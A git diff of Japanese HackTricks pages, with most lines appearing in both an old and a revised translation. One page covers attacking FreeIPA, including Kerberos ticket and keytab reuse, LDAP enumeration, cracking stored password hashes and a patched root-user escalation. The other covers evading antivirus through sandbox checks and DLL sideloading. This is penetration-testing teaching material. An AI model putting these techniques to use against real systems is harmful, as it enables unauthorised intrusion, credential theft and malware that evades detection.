* **`KEYRING:persistent:uidnumber`:** チケットはセッションに関係なく特定のユーザーにスコープされます(デフォルト)。
- **`KEYRING:name`**特定の名前付きキーリングにスコープが指定されます。
- **`KEYRING:process:name`**特定のプロセスIDにスコープが指定されます。
- **`KEYRING:thread:name`**特定のスレッドにスコープが指定されます。
- **`KEYRING:session:name`**特定のユーザーセッションにスコープが指定されます。
- **`KEYRING:persistent:uidnumber`**セッションに関係なく、特定のユーザーにスコープが指定されます(デフォルト)。
管理者がUnix keyring内に保存したチケットをどのようにスコープしたかによって、それを解析するのは難しいかもしれません。しかし、Unix keyring内のCCACHEチケットの**デフォルトのスコープ**は**`KEYRING:persistent:uidnumber`**です。幸いにも、**ユーザー**の**コンテキスト**内にいれば、`klist`がこの情報を解析してくれます。
Unixキーリング内に保存されたCCACHEチケットのスコープが管理者によってどのように指定されているかによって、解析することが困難になる場合があります。ただし、Unixキーリング内のCCACHEチケットのデフォルトスコープは**`KEYRING:persistent:uidnumber`**です。幸いなことに、ユーザーの**コンテキスト**であれば、`klist`コマンドを使用してこの情報を解析できます。
攻撃者として、Unix **keyring**に保存されたCCACHEチケットを**再利用**することは、チケットのスコープによってはかなり**難しい**です。幸いなことに、[@Tarlogic](https://twitter.com/Tarlogic)の[@Zer1t0](https://github.com/Zer1t0)がUnix keyringからKerberosチケットを抽出するツールを開発しました。このツールは**Tickey**と呼ばれ、[**こちら**](https://github.com/TarlogicSecurity/tickey)で見つけることができます。
<figure><img src="../.gitbook/assets/image (3) (1) (4).png" alt=""><figcaption></figcaption></figure>
攻撃者としては、Unixキーリングに保存されたCCACHEチケットを再利用することは、チケットのスコープによってはかなり困難です。幸いなことに、[@Zer1t0](https://github.com/Zer1t0)氏の[@Tarlogic](https://twitter.com/Tarlogic)からは、UnixキーリングからKerberosチケットを抽出するツールが開発されています。このツールは**Tickey**と呼ばれ、[**こちら**](https://github.com/TarlogicSecurity/tickey)で入手できます。
<figure><img src="../.gitbook/assets/image (185).png" alt=""><figcaption></figcaption></figure>
### キータブ<a href="#ff38" id="ff38"></a>
### Keytab <a href="#ff38" id="ff38"></a>
{% hint style="warning" %}
通常、各ホストはそのホストのためにデプロイされたキータブ資格情報を持っており、それを使用してホスト自体の有効なCredential CacheCCACHEチケット発行チケットTGTを取得することができます。
通常、各ホストはそのホスト用のkeytabクレデンシャルがデプロイされ、ホスト自体の有効なCredential Cache(CCACHE) Ticket Granting Ticket(TGT)を取得するために使用されます。
{% endhint %}
キータブは、Kerberosのプリンシパルと暗号化キーのペアで構成されています。これらのキーは、プリンシパルのパスワードから派生しているため、パスワードが変更されるとキータブは無効になります
これは、**Kerberosプリンシパルと暗号化されたキー**のペアで構成され、プリンシパルに関連付けられたKerberosパスワードから派生したキーです。これらのキーはプリンシパルのパスワードから派生しているため、その**パスワードが変更されるとkeytabは無効になります**。
キータブファイルは、それがスコープに指定されているプリンシパルのための有効なチケット発行チケットTGTを取得するために使用できます。この認証プロセスでは、パスワードは必要ありません。なぜなら、キータブにはパスワードから派生したキーが含まれているからです。
Keytabファイルは、それがスコープされているプリンシパルの有効なチケット付与チケットTGTを取得するために使用できます。この認証プロセスはパスワードを**要求しません**、なぜならそれはパスワードから派生したキーを含んでいるからです。
キータブファイルの解析は非常に簡単で、いくつかの方法で行うことができます。キータブファイルを解析する最も簡単な方法は、`klist`コマンドを使用することです。2番目の方法は、Cody Thomas氏が作成した優れたPythonユーティリティを利用する方法です。彼の[**KeytabParser**](https://github.com/its-a-feature/KeytabParser)プロジェクトは、プリンシパルと関連する暗号化キーを解析します。
Keytabファイルを解析するのは非常に簡単で、いくつかの方法で達成できます。**keytab**ファイルを**解析**する最も簡単な方法は**klist**を使用することです。2番目の方法は、[Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------)が作成した素晴らしいpythonユーティリティを利用します。彼の**[KeytabParser](https://github.com/its-a-feature/KeytabParser)**プロジェクトは、プリンシパルとそれに関連する暗号化されたキーを解析します。
<figure><img src="../.gitbook/assets/image (200).png" alt=""><figcaption></figcaption></figure>
攻撃者は、キータブファイルに保存された資格情報を再利用することができます。これは、kinitバイナリを使用してCCACHEチケットを生成することによって行われます。
攻撃者は、kinitバイナリを通じてCCACHEチケットを生成することで、keytabファイルに保存されたクレデンシャルを**再利用**することができます。
```powershell
# Parse keytab
klist -k /rtc/krb5.keytab
@ -119,11 +112,9 @@ klist -k /rtc/krb5.keytab
# Get TGT
kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL
```
<figure><img src="../.gitbook/assets/image (205).png" alt=""><figcaption></figcaption></figure>
### チートシート
Linuxでチケットを使用する方法についての詳細情報は、以下のリンクで見つけることができます:
以下のリンクで、Linuxでチケットを使用する方法についての詳細情報見つけることができます:
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
@ -132,20 +123,18 @@ Linuxでチケットを使用する方法についての詳細情報は、以下
## 列挙
{% hint style="warning" %}
**列挙**は、**ldap**や他の**バイナリ**ツールを使用するか、FreeIPAサーバーのポート443でのウェブページに接続することで実行できます。
**ldap** やその他の **バイナリツール** を使用するか、**FreeIPAサーバーの443ポートのウェブページに接続する**ことで、**列挙**を実行できます。
{% endhint %}
<figure><img src="../.gitbook/assets/image (184).png" alt=""><figcaption></figcaption></figure>
### ホスト、ユーザー、およびグループ <a href="#4b3b" id="4b3b"></a>
**ホスト**、**ユーザー**、および**グループ**を作成することが可能です。ホストとユーザーはそれぞれ「**ホストグループ**」「**ユーザーグループ**」と呼ばれるコンテナに分類されます。これらは**組織単位**OUています。
**ホスト**、**ユーザー**、および**グループ**を作成することができます。ホストとユーザーはそれぞれ「**ホストグループ**」および「**ユーザーグループ**」と呼ばれるコンテナに分類されます。これらは**組織単位**OUに似ています。
デフォルトでは、FreeIPAではLDAPサーバーが**匿名バインド**を許可し、多くのデータが**認証**列挙可能です。これにより、認証で利用可能なすべてのデータを列挙することができます:
FreeIPAのデフォルトでは、LDAPサーバーは**匿名バインド**を許可し、多くのデータが**認証なしで**列挙可能です。これにより、認証なしで利用可能なすべてのデータを列挙できます:
```
ldapsearch -x
```
**さらなる情報**を得るためには、**認証済み**のセッションを使用する必要があります(認証済みセッションの準備方法については、認証セクションを確認してください)。
**詳細情報**を取得するには、**認証済み**セッションを使用する必要があります(認証済みセッションの準備方法については、Authenticationセクションを確認してください)。
```bash
# Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -159,7 +148,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
```
ドメインに参加しマシンからは、**インストールされたバイナリ**を使用してドメインを列挙することができます
ドメインに参加しているマシンからは、**インストールされたバイナリ**を使用してドメインを列挙することができます
```bash
ipa user-find
ipa usergroup-find
@ -174,33 +163,33 @@ ipa host-find <host> --all
ipa hostgroup-show <host group> --all
```
{% hint style="info" %}
**FreeIPA**の**admin**ユーザーは、**AD**の**ドメイン管理者**に相当します。
**FreeIPA**の**admin**ユーザーは、**AD**の**domain admins**に相当します。
{% endhint %}
### ハッシュ <a href="#482b" id="482b"></a>
**IPAサーバー**の**root**ユーザーはパスワードの**ハッシュ**にアクセスできます。
**IPAサーバー**の**root**ユーザーはパスワードの**ハッシュ**にアクセスできます。
- ユーザーのパスワードハッシュは、「**userPassword**」**属性**に**base64**で保存されます。このハッシュは**SSHA512**古いバージョンのFreeIPAまたは**PBKDF2\_SHA256**である可能性があります。
- システムが**AD**と**統合**されている場合、パスワードの**Nthash**は「**ipaNTHash**」として**base64**で保存されます。
* ユーザーのパスワードハッシュは、"**userPassword**" **属性**に**base64**で保存されています。このハッシュは**SSHA512**古いバージョンのFreeIPAまたは**PBKDF2_SHA256**の可能性があります。
* システムが**AD**と**統合**している場合、パスワードの**Nthash**は"**ipaNTHash**"に**base64**で保存されます。
これらのハッシュをクラックするには:
- FreeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます:**base64**を**デコード**して -> **ASCII**の16進数に再エンコードして -> John The Ripperまたは**hashcat**を使用して高速にクラックできます。
FreeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます:**base64**を**デコード** -> ASCIIヘックスとして再エンコード -> John The Ripperまたは**hashcat**が迅速にクラックするのに役立ちます
- 古いバージョンのFreeIPAが使用されている場合、**SSHA512**が使用されます:**base64**をデコードして -> SSHA512 **ハッシュ**を見つけて -> John The Ripperまたは**hashcat**を使用してクラックできます。
• 古いバージョンのFreeIPAが使用されている場合、**SSHA512**が使用されています:**base64**をデコード -> SSHA512**ハッシュ**を見つける -> John The Ripperまたは**hashcat**がクラックするのに役立ちます
- 新しいバージョンのFreeIPAが使用されている場合、**PBKDF2\_SHA256**が使用されます:**base64**をデコードして -> PBKDF2\_SHA256を見つけて -> **長さ**は256バイトです。Johnは256ビット32バイトで動作します -> 擬似乱数関数としてSHA-265が使用され、ブロックサイズは32バイトです -> PBKDF2\_SHA256ハッシュの最初の256ビットのみを使用できます -> John The Ripperまたはhashcatを使用してクラックできます。
• 新しいバージョンのFreeIPAが使用されている場合、**PBKDF2_SHA256**が使用されています:**base64**をデコード -> PBKDF2_SHA256を見つける -> その**長さ**は256バイトです。Johnは256ビット32バイトで動作できます -> SHA-256が擬似ランダム関数として使用され、ブロックサイズは32バイトです -> PBKDF2_SHA256ハッシュの最初の256ビットのみを使用できます -> John The Ripperまたはhashcatがクラックするのに役立ちます
<figure><img src="../.gitbook/assets/image (33).png" alt=""><figcaption></figcaption></figure>
ハッシュを抽出するには、**FreeIPAサーバーのroot**である必要があります。そこで、ツール**`dbscan`**を使用してハッシュを抽出できます:
ハッシュを抽出するには、**FreeIPAサーバー**で**root**である必要があります。そこで**`dbscan`**ツールを使用して抽出できます:
<figure><img src="../.gitbook/assets/image (196).png" alt=""><figcaption></figcaption></figure>
### HBACルール <a href="#482b" id="482b"></a>
これらは、ユーザーやホストにリソース(ホスト、サービス、サービスグループなど)に対する特定の権限を付与するルールです。
これらは、ユーザーやホストにリソース(ホスト、サービス、サービスグループ...)に対する特定の権限を付与するルールです。
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
@ -211,7 +200,7 @@ ipa hbacrule-show <hbacrule> --all
```
#### Sudoルール
FreeIPAは、sudoルールを介して、**中央集権化された**ソースからsudo権限を**管理**する機能を提供します。これらのルールセットは、ドメインに登録されたホストでの**sudoとしてのコマンドの実行権限**を制限または委任するために使用できます。攻撃者として、これらのルールセットが適用されるホストとユーザー、およびルールセットを通じて許可されるコマンドを列挙することができます。
FreeIPAは、sudoルールを通じて**sudo権限を管理する**機能を提供します。これらのルールセットは、ドメインに登録されているホストで**sudoとしてコマンドを実行する**能力を制限または委任するために使用できます。攻撃者として、これらのルールセットが適用されているホストとユーザー、およびルールセットを通じて許可されているコマンドを列挙することができます。
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -222,21 +211,21 @@ ipa sudorule-show <sudorule> --all
```
### ロールベースのアクセス制御
各**ロール**には、一連の**特権**が含まれており、それぞれの特権には一連の**許可**が含まれています。ロールは、ユーザー、ユーザーグループ、ホスト、ホストグループ、およびサービスに**適用**することができます。この概念を説明するために、FreeIPAのデフォルトの「ユーザー管理者」ロールについて説明しましょう。
各**ロール**は一連の**権限**を含み、それらの権限は**パーミッション**のセットを含んでいます。ロールは**ユーザー**、ユーザー**グループ**、**ホスト**、ホストグループ、およびサービスに**適用される**ことができます。この概念を説明するために、FreeIPAのデフォルトの「ユーザー管理者」ロールについてしましょう。
<figure><img src="../.gitbook/assets/image (161).png" alt=""><figcaption></figcaption></figure>
記のスクリーンショットに示されているように、「ユーザー管理者」ロールには次の特権が含まれています:
のスクリーンショットが示すように、「ユーザー管理者」ロールには以下の権限が含まれています:
* **ユーザー管理者**
* **グループ管理者**
* **ステージユーザー管理者**
さらに、各特権に委任された**許可**を詳細に調べることができます:
さらに詳しく掘り下げて、各**権限**に委任された**パーミッション**を列挙することができます:
<figure><img src="../.gitbook/assets/image (189).png" alt=""><figcaption></figcaption></figure>
「**ユーザー管理者**」ロールには、環境内にかなり**多くの許可**が含まれていることがわかります。**ロール**、**特権**、および**許可**の一般的な概念と構造を理解することは、環境全体での攻撃経路の特定に重要です。
見ての通り、「**ユーザー管理者**」ロールは環境内にかなり**多くのパーミッション**を含んでいます。**ロール**、**権限**、および**パーミッション**の一般的な概念と構造を理解することは、環境全体で攻撃パスを特定する上で重要になる可能性があります。
```bash
# Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
@ -250,50 +239,51 @@ ipa permission-show <permission> --all
```
### 攻撃シナリオの例
[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) では、いくつかの権限を悪用してドメインを侵害する方法の簡単な例が示されています。
[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) では、ドメインを侵害するためにいくつかの権限を悪用する簡単な例が見つかります。
### Linikatz
### Linikatz/LinikatzV2
[https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
## 権昇格
## 権昇格
### ~~rootユーザーの作成~~
{% hint style="warning" %}
名前が `root` の新しいユーザーを作成できる場合、そのユーザーになりすまして任意のマシンに **root として SSH** できます。
もし **`root` という名前で新しいユーザーを作成できる**場合、そのユーザーになりすまし、**任意のマシンにrootとしてSSHでログインできる**ようになります。
**これは修正されました。**
{% endhint %}
「**User Administrators**」特権は非常に強力です(その名前が示すように)
"**User Administrators**" 権限は、その名が示す通り非常に強力です
<figure><img src="../.gitbook/assets/image (182).png" alt=""><figcaption></figcaption></figure>
この権には、環境内のユーザーに影響を与えるためのさまざまな権限が付属しています。この特権を使用して、FreeIPA ドメイン内に新しいユーザーである `_root` を作成できます
この権には、環境内のユーザーに影響を与えるさまざまな力が伴います。この権限を使用して、FreeIPAドメイン内に \_root\_ という名前の新しいユーザーを **作成できます**
<figure><img src="../.gitbook/assets/image (158).png" alt=""><figcaption></figcaption></figure>
ドメイン内にユーザーが作成されたら、 `_kinit` を使用してアカウントのチケットを取得できます
ドメイン内にユーザーが作成されたら、\_kinit\_ を使用してそのアカウントの **チケットを取得できます**
<figure><img src="../.gitbook/assets/image (178).png" alt=""><figcaption></figcaption></figure>
これで、新しく作成した root ドメインアカウントを使用して **SSH** を試行できます。
これで、新しく作成したrootドメインアカウントを使用して **SSH** にログインを試みることができます。
<figure><img src="../.gitbook/assets/image (176).png" alt=""><figcaption></figcaption></figure>
表示されるように、これによりユーザーはローカルの root アカウントに移動しますしたがって、ローカルユーザーのためにドメインユーザーを作成するだけで、_root@WESTEROS.LOCAL_ アカウントを使用して認証し、ローカル root アカウントのユーザーコンテキストを取得できました。
示されているように、これによりユーザーは **ローカルのrootアカウントにログインします** つまり、ローカルユーザーのドメインユーザーを単に作成することで、_root@WESTEROS.LOCAL_ アカウントを使用して認証し、**ローカルのrootアカウントのユーザーコンテキスト**を取得することができました。
この脆弱性の詳細については、[_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) を参照してください。
この脆弱性の詳細については、[_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) をチェックしてください。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricks で **会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) をご覧ください。独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションです
* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**Telegram グループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォロー**してください。
* **ハッキングのトリックを共有するには、** [**hacktricks リポジトリ**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud リポジトリ**](https://github.com/carlospolop/hacktricks-cloud) ** PR を提出**してください。
* **サイバーセキュリティ会社**で働いていますか? **HackTricksにあなたの会社を広告したいですか** または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、私たちの独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションをご覧ください
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com) を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f) に**参加するか**、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。
* [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) と [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) にPRを提出して、あなたのハッキングのコツを**共有してください**
</details>

View file

@ -1,81 +1,86 @@
# アンチウイルスAVバイパス
# アンチウイルス (AV) バイパス
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォロー**してください。**
* **[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)や[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、ハッキングのコツを共有してください。**
</details>
**このページは** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**によって書かれました!**
## **AV回避方法論**
## **AV回避方法論**
現在、AVはファイルが悪意のあるものかどうかをチェックするために、静的検出、動的解析、さらに高度なEDRでは行動分析など、さまざまな方法を使用しています。
現在、AVはファイルが悪意のあるものかどうかをチェックするために、静的検出、動的分析、そしてより高度なEDRの場合は行動分析など、さまざまな方法を使用しています。
### **静的検出**
静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイトの配列をフラグ付けし、またファイル自体から情報を抽出することによって達成されます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、それらが分析されて悪意のあるものとしてフラグ付けされている可能性があるため、より簡単に検出される可能性があります。この種の検出を回避するためのいくつかの方法があります。
静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイト配列をフラグ付けすること、およびファイル自体から情報を抽出すること(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)によって達成されます。これは、公開されている既知のツールを使用すると、それらが悪意のあるものとして分析されてフラグ付けされている可能性が高いため、より簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります:
* **暗号化**
バイナリを暗号化すると、AVがプログラムを検出する方法はありませんが、プログラムをメモリに復号化して実行するためのローダーが必要です。
バイナリを暗号化すると、AVがプログラムを検出する方法はありませんが、メモリ内でプログラムを復号化して実行するための何らかのローダーが必要になります。
* **曖昧化**
* **難読化**
AVを回避するためには、バイナリやスクリプトの一部の文字列を変更するだけで十分な場合がありますが、これは曖昧化する内容によっては時間がかかる作業になる場合があります。
AVを回避するためには、バイナリやスクリプトの一部の文字列を変更するだけで十分な場合もありますが、何を難読化しようとしているかによっては、これは時間がかかる作業になることがあります。
* **カスタムツール**
独自のツールを開発すると、既知の悪い署名は存在しないため、ただし、時間と労力がかかります。
独自のツールを開発すると、既知の悪い署名はありませんが、これには多くの時間と労力がかかります。
{% hint style="info" %}
Windows Defenderの静的検出に対してチェックするための良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは、ファイルを複数のセグメントに分割し、それぞれをDefenderにスキャンさせることで、バイナリ内のフラグ付けされた文字列やバイトを正確に特定できます。
Windows Defenderの静的検出に対してチェックする良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。基本的にはファイルを複数のセグメントに分割し、それぞれをDefenderにスキャンさせることで、バイナリ内のどの文字列やバイトがフラグ付けされているかを正確に教えてくれます。
{% endhint %}
践的なAV回避についての[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)をぜひご覧ください
用的なAV回避についてのこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)をチェックすることを強くお勧めします
### **動的析**
### **動的析**
動的解析は、AVがバイナリをサンドボックスで実行し、悪意のある活動ブラウザのパスワードの復号化や読み取り、LSASSのミニダンプの実行などを監視することです。これは少し複雑な作業になる場合がありますが、サンドボックスを回避するために次のことができます。
動的分析は、AVがバイナリをサンドボックスで実行し、悪意のある活動を監視するときに行われますブラウザのパスワードを復号化して読み取ろうとする、LSASSにミニダンプを実行するなど。この部分は少し扱いにくいかもしれませんが、サンドボックスを回避するためにできることがいくつかあります。
* **実行前のスリープ** 実装方法によっては、AVの動的解析を回避する素晴らしい方法になる場合があります。AVはファイルをスキャンするための非常に短い時間しか持っていないため、長時間のスリープを使用するとバイナリの解析が妨げられる可能性があります。ただし、多くのAVのサンドボックスは、実装方法によってはスリープをスキップすることができます。
* **実行前のスリープ** どのように実装されているかによって、AVの動的分析を回避する素晴らしい方法になる可能性があります。AVはユーザーのワークフローを中断しないようにファイルをスキャンする時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。問題は、多くのAVのサンドボックスが、実装方法によってはスリープをスキップすることができるということです。
* **マシンのリソースのチェック** 通常、サンドボックスは非常に少ないリソース(例:< 2GB RAMを使用していますそうでなければユーザーのマシンを遅くする可能性がありますここで非常に創造的になることもできますたとえばCPUの温度やファンの速度をチェックするなどサンドボックスにはすべてが実装されているわけではありません
* **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合は、コンピューターのドメインをチェックして、指定したものと一致するかどうかを確認できます。一致しない場合は、プログラムを終了させることができます。
* **マシンのリソースのチェック** 通常、サンドボックスは非常に少ないリソースしか使用できません2GB未満のRAM。そのため、CPUの温度やファンの回転数などをチェックするなど、非常に創造的な方法もあります。すべてがサンドボックスに実装されているわけではありません。
* **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合、コンピュータのドメインをチェックして指定したドメインと一致するかどうかを確認し、一致しない場合はプログラムを終了させることができます。
実際には、Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THです。したがって、マルウェアを爆発させる前にコンピュータ名をチェックし、名前がHAL9THと一致する場合は、Defenderのサンドボックス内にいることを意味しますので、プログラムを終了させることができます。
Microsoft Defenderのサンドボックスコンピューター名はHAL9THであることがわかったので、マルウェア内でコンピューター名をチェックすることができます。名前がHAL9THと一致する場合は、Defenderのサンドボックス内にいることを意味するので、プログラムを終了させることができます。
<figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>出典: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
サンドボックスに対して[@mgeeky](https://twitter.com/mariuszbit)からの他の素晴らしいヒントもあります。
サンドボックスに対抗するための[@mgeeky](https://twitter.com/mariuszbit)からの他の非常に良いヒント
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev チャンネル</p></figcaption></figure>
この投稿で以前に述べたように、**公開ツール**は最終的に**検出されます**ので、次のことを考える必要があります。
この投稿で以前に言ったように、**公開ツール**は最終的に**検出される**ので、自分自身に次のようなことを尋ねるべきです:
たとえば、LSASSをダンプする場合、**本当にmimik
## EXEs vs DLLs
たとえば、LSASSをダンプしたい場合、本当に**mimikatzを使用する必要がありますか**それとも、LSASSをダンプする別の、あまり知られていないプロジェクトを使用できますか。
いつでも可能な限り、逃避のために**DLLの使用を優先**してください。私の経験では、DLLファイルは通常**検出されにくく分析されにくい**ため、いくつかの場合に検出を回避するための非常にシンプルなトリックですもちろん、ペイロードがDLLとして実行される方法がある場合に限ります
正しい答えはおそらく後者です。例としてmimikatzを取り上げると、それはおそらくAVやEDRによって最もフラグ付けされているマルウェアの1つ、もしくは最もフラグ付けされているものであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを使用することは悪夢です。ですので、達成しようとしていることの代替案を探してください
この画像では、HavocのDLLペイロードの検出率はantiscan.meで4/26であるのに対し、EXEペイロードの検出率は7/26です。
{% hint style="info" %}
回避のためにペイロードを変更するときは、Defenderで**自動サンプル提出をオフにする**ことを確認し、そしてお願いですが、本気で長期的な回避を目指している場合は、**VIRUSTOTALにアップロードしないでください**。特定のAVでペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル提出をオフにし、結果に満足するまでテストしてください。
{% endhint %}
<figure><img src="../.gitbook/assets/image (6) (3) (1).png" alt=""><figcaption><p>antiscan.meにおける通常のHavoc EXEペイロードと通常のHavoc DLLの比較</p></figcaption></figure>
## EXEとDLL
次に、DLLファイルをよりステルス性の高いものにするためのいくつかのトリックを紹介します
可能な限り、常に**回避のためにDLLの使用を優先**してください。私の経験では、DLLファイルは通常、**はるかに検出されにくく**分析されることも少ないので、いくつかのケースで検出を避けるために使用できる非常にシンプルなトリックですもちろん、ペイロードがDLLとして実行される方法がある場合
## DLL Sideloading & Proxying
この画像でわかるように、HavocのDLLペイロードはantiscan.meで4/26の検出率を持っていますが、EXEペイロードは7/26の検出率を持っています。
**DLL Sideloading**は、ローダーが使用するDLLの検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを隣り合わせに配置することで利用します。
